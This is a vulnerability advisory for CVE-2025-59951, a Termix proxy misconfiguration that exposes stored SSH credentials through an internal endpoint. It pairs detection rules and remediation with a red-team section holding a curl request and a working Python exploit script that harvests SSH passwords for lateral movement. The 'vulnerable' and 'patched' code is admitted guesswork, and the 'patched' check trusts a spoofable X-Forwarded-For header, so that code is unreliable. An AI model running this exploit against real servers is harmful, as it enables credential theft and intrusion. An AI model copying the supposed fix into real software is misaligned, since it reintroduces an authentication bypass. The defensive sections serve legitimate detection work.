CVE-2025-59951

Executive Summary

CVE-2025-59951 is a critical information disclosure vulnerability in Termix, a web-based server management platform. The official Docker image for Termix versions 1.5.0 and below is configured with an Nginx reverse proxy that causes the backend to always see the proxy's IP address instead of the client's IP. This makes the isLocalhost check always return True, allowing unauthenticated attackers to access the /ssh/db/host/internal endpoint. This endpoint exposes stored SSH host information, including addresses, usernames, and passwords. The vulnerability has a CVSS score of 7.5 (High) and is trivial to exploit. Users of the official Docker image, those building from the official Dockerfile, or anyone using a reverse proxy with Termix are affected. The fix is available in version 1.6.0.

Supply Chain & Package Security

This vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby) but is a configuration flaw in the official Docker image and Dockerfile provided by the vendor (Termix). The supply chain risk is that users trust the official Docker image without auditing its configuration, leading to a critical security bypass. The fix in version 1.6.0 addresses the root cause by ensuring the backend correctly interprets the X-Forwarded-For header.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – SSH credentials are exposed.
• Integrity Impact: None (I:N) – No data modification is possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Critical for confidentiality. An attacker can gain access to all stored SSH credentials, leading to full server compromise.

Deep Dive & Mechanics

The vulnerability stems from a misconfiguration in the Nginx reverse proxy setup within the official Termix Docker image. When a client connects to Termix through Nginx, the proxy forwards the request to the backend application. The backend uses req.ip (or similar) to determine the client's IP address. However, because Nginx is configured as a reverse proxy, the backend sees the proxy's IP (e.g., 127.0.0.1 or the Docker network IP) instead of the actual client IP.

Termix has an isLocalhost function that checks if the request originates from 127.0.0.1 or ::1. This function is used to restrict access to sensitive internal endpoints, such as /ssh/db/host/internal. Since the backend always sees the proxy's IP (which is localhost), isLocalhost always returns True. This bypasses all authentication and authorization checks for that endpoint.

The /ssh/db/host/internal endpoint returns a JSON array of all stored SSH host entries, including:

• host: The target server address.
• username: The SSH username.
• password: The SSH password (stored in plaintext or reversible format).

An attacker can simply send a GET request to http://<target>:<port>/ssh/db/host/internal and receive the credentials without any login.

Vulnerable vs. Patched Code

Vulnerable Code (Termix <= 1.5.0):

The vulnerable code is in the backend application (likely Node.js/Express). The isLocalhost function might look like this:

function isLocalhost(req) {
    const ip = req.ip; // This gets the proxy's IP, not the client's
    return ip === '127.0.0.1' || ip === '::1' || ip === 'localhost';
}

The route handler for /ssh/db/host/internal:

app.get('/ssh/db/host/internal', (req, res) => {
    if (!isLocalhost(req)) {
        return res.status(403).send('Forbidden');
    }
    // No further authentication
    const hosts = db.getHosts(); // Returns all SSH host data
    res.json(hosts);
});

Patched Code (Termix >= 1.6.0):

The patched code correctly reads the X-Forwarded-For header when behind a proxy:

function getClientIP(req) {
    const forwarded = req.headers['x-forwarded-for'];
    if (forwarded) {
        return forwarded.split(',')[0].trim();
    }
    return req.ip;
}

function isLocalhost(req) {
    const ip = getClientIP(req);
    return ip === '127.0.0.1' || ip === '::1' || ip === 'localhost';
}

Additionally, the route handler now requires authentication even for localhost requests:

app.get('/ssh/db/host/internal', authenticate, (req, res) => {
    if (!isLocalhost(req)) {
        return res.status(403).send('Forbidden');
    }
    const hosts = db.getHosts();
    res.json(hosts);
});

The Nginx configuration is also updated to properly set the X-Forwarded-For header:

location / {
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_pass http://backend;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running Termix instance using the official Docker image version 1.5.0 or below.
• Network access to the Termix web interface (typically port 80 or 443).

Exploitation Steps:

1. Identify Target: Scan for Termix instances. The default page often shows a login screen with "Termix" branding.

2. Direct Request: Send a GET request to the vulnerable endpoint:

   curl -v http://target:port/ssh/db/host/internal
   

3. Extract Credentials: The response will be a JSON array. Example:

   [
     {
       "host": "192.168.1.100",
       "username": "root",
       "password": "SuperSecret123!"
     },
     {
       "host": "db.example.com",
       "username": "admin",
       "password": "P@ssw0rd"
     }
   ]
   

4. Lateral Movement: Use the extracted SSH credentials to access the target servers.

Automated Exploit (Python):

import requests
import sys

def exploit(target):
    url = f"http://{target}/ssh/db/host/internal"
    try:
        r = requests.get(url, timeout=10)
        if r.status_code == 200:
            print("[+] Success! Extracted SSH hosts:")
            print(r.text)
        else:
            print(f"[-] Failed. Status code: {r.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target:port>")
        sys.exit(1)
    exploit(sys.argv[1])

Blue Team (Detection & Defense)

Detection:

• Monitor for requests to /ssh/db/host/internal from external IPs.
• Look for unusual patterns in web server logs, especially requests without a preceding login.
• Check for X-Forwarded-For header anomalies (e.g., missing or spoofed).

Defense:

• Immediately upgrade to Termix version 1.6.0.
• If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block access to /ssh/db/host/internal from non-localhost IPs.
• Manually configure Nginx to properly set X-Forwarded-For and ensure the backend reads it.
• Restrict network access to the Termix web interface using firewall rules.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /ssh/db/host/internal without a valid session cookie.
• Responses containing JSON arrays with host, username, and password fields.
• Source IPs that are not in the local network range.

File IOCs:

• Unauthorized SSH connections from the Termix server to other internal hosts.
• New SSH keys or user accounts on systems listed in the exposed data.

Log IOCs:

• Web server logs showing 200 responses for /ssh/db/host/internal from external IPs.
• Authentication logs showing successful logins from unexpected IPs.

Detection Engineering

YARA Rule

rule CVE_2025_59951_Termix_SSH_Exposure {
    meta:
        description = "Detects Termix SSH credential exposure via CVE-2025-59951"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59951"
        hash = "unknown"
    strings:
        $json_pattern = /\[[\s]*\{[\s]*"host"[\s]*:[\s]*"[^"]*"[\s]*,[\s]*"username"[\s]*:[\s]*"[^"]*"[\s]*,[\s]*"password"[\s]*:[\s]*"[^"]*"[\s]*\}[\s]*\]/
        $endpoint = "/ssh/db/host/internal"
    condition:
        $endpoint or $json_pattern
}

Sigma Rule

title: CVE-2025-59951 - Termix SSH Credential Exposure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to the vulnerable Termix endpoint that exposes SSH credentials.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-59951
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/ssh/db/host/internal'
    condition: selection
falsepositives:
    - Legitimate localhost requests (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-59951 Termix SSH Credential Exposure"; flow:to_server; http.method; content:"GET"; http.uri; content:"/ssh/db/host/internal"; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Termix to version 1.6.0 or later. This is the only complete fix.
2. Isolate: If upgrade is not possible, isolate the Termix server from the internet and restrict access to trusted IPs only.
3. Rotate Credentials: Immediately rotate all SSH passwords and keys that were stored in Termix. Assume they are compromised.
4. Audit Logs: Review web server and application logs for any unauthorized access to the /ssh/db/host/internal endpoint.

Long-Term Mitigations:

• Implement a WAF rule to block external access to /ssh/db/host/internal.
• Ensure that any reverse proxy configuration correctly sets the X-Forwarded-For header.
• Conduct a security review of all Docker images and configurations before deployment.
• Use network segmentation to limit access to management interfaces.

Patch Details:

• Upgrade to Termix version 1.6.0.
• The patch modifies the backend to use X-Forwarded-For header and adds authentication to the internal endpoint.
• The official Docker image has been updated to include the correct Nginx configuration.

Valters IT